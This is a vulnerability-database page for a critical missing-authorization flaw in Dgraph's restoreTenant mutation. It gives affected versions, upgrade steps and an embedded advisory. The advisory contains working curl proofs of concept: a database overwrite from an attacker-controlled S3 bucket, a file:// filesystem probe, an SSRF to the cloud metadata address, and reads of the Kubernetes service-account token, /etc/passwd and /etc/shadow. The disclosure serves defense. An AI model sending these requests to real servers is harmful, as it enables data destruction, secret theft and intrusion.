CVE-2026-34976: Dgraph Pre-Auth Database Overwrite + SSRF Vulnerability
CRITICALCVE-2026-34976 is a CRITICAL (CVSS 10.0) pre-auth database overwrite + ssrf vulnerability (CWE-862: Missing Authorization) affecting Dgraph libraries in the Go ecosystem. The issue involves pre-auth database overwrite + ssrf + file read via restoretenant missing authorization. Remediation is available by upgrading affected packages to version 25.3.1.
CVE-2026-34976 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-34976
To remediate this vulnerability, upgrade all affected Dgraph dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.1
Upgrade github.com/dgraph-io/dgraph/v24 to Latest secure release
Upgrade github.com/dgraph-io/dgraph to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/dgraph-io/dgraph/v25
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-34976, inspect your project dependencies for Dgraph:
inspect dependencies for github.com/dgraph-io/dgraph/v25
Analyze the terminal output to locate any version of Dgraph in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.3.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Dgraph, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34976 Affected Dgraph Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/dgraph-io/dgraph/v25
|
Go |
< 25.3.1
|
25.3.1
|
|
github.com/dgraph-io/dgraph/v24
|
Go |
≤ 24.0.5
|
|
|
github.com/dgraph-io/dgraph
|
Go |
≤ 1.2.8
|
|
References
Frequently Asked Questions
What is CVE-2026-34976?
Which Dgraph versions are affected?
What version fixes CVE-2026-34976?
Is github.com/dgraph-io/dgraph/v25 affected?
Is github.com/dgraph-io/dgraph/v24 affected?
What is the CVSS score of CVE-2026-34976?
What CWE is associated with CVE-2026-34976?
How can I check Go dependencies for CVE-2026-34976?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p5rh-vmhp-gvcw",
"modified" : "2026-04-06T23:26:01Z",
"published" : "2026-04-02T20:44:36Z",
"aliases" : [ "CVE-2026-34976" ],
"summary" : "Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization",
"details" : "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n mutation { restoreTenant(input: {\n restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n fromNamespace: 0\n }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n # restore (HAS middleware) -> BLOCKED\n $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # Error response reveals whether /etc/ exists and its structure.\n # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n curl -X POST http://dgraph-alpha:8080/admin \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n }'\n\n # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/dgraph-io/dgraph/v25"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "25.3.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 25.3.0"
}
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/dgraph-io/dgraph/v24"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "24.0.5"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/dgraph-io/dgraph"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.2.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34976"
}, {
"type" : "WEB",
"url" : "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dgraph-io/dgraph"
}, {
"type" : "WEB",
"url" : "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-862" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-02T20:44:36Z",
"nvd_published_at" : "2026-04-06T17:17:11Z"
}
}